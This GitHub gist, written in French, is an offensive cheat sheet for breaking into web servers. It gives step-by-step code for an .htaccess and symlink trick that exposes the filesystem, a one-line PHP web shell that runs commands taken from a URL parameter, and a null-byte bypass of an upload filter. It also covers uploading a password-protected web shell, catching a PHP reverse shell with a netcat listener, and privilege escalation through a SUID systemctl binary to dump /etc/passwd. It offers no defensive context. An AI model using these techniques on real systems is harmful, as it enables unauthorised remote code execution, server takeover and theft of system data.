Skip to content

Instantly share code, notes, and snippets.

@Machou
Last active December 21, 2023 13:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Machou/f393c9e822f730c88f57108bfec46b36 to your computer and use it in GitHub Desktop.
Save Machou/f393c9e822f730c88f57108bfec46b36 to your computer and use it in GitHub Desktop.

Faille .htaccess

  1. On se connecte via sFTP / SSH et on crée un symlink vers /

sudo ln -s / "racine"

  1. On créé le fichier .htaccess
AddDefaultCharset UTF-8
DefaultLanguage fr-FR

RewriteEngine on # Activer le mod_rewrite, si module mod_autoindex n'est pas activé :
# sudo a2enmod rewrite
# sudo service apache2 restart

DirectoryIndex disabled

Options +Indexes # Activer le mod_autoindex, si module mod_autoindex n'est pas activé :
# sudo a2enmod autoindex
# sudo service apache2 restart

RemoveHandler .php .php3 # Désactiver PHP
RemoveType .php .php3

AddType text/plain php # Activer les fichiers .php en brut
AddType text/plain html # Activer les fichiers .html en brut

Mini Shell

  1. Ajouter le code dans dans un fichier PHP
$handle = fread(popen($_GET['f'], 'r'), 2096);
print_r($handle);
  1. Adresse : https://www.site.com/fichier.php?f=/bin/ls /home/utilisateur

Upload Byte

On va induire en erreur le processus de vérification des formats d’images en renommant notre script img.php en img.php.jpg et on y ajoute le NULL BYTE :

  1. Créer un fichier PHP : img.php

  2. Ajouter le NULL BYTE : img.php%00.jpg

Upload Shell

  1. Télécharger uploader.php et b375k.php (mot de passe : mobius)

  2. Renommer et uploaderp%00.php et Uploader le fichier uploader.php

  3. Allez sur uploader.php et télécharger b375k.php

PHP Reverse Shell

  1. Télécharger php-reverse-shell.php

  2. Modifier le fichier php-reverse-shell.php avec une IP viable

  3. Renommer si besoin le fichier, exemple : php-reverse-shell.php en image.phtml

  4. Lancer une connexion Netcat : nc -lvnp 1234

  5. Télécharger le fichier sur le serveur distant

  6. Vous devez avoir votre connexion active !

  7. Chercher les fichiers SUID : find / -user root -perm -4000 -exec ls -ldb {} \;

  8. Exemple : /bin/systemctl

  9. Exploiter le binaire :

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /etc/passwd > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
  1. Afficher les informations du fichier : cat /tmp/output de /etc/passwd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment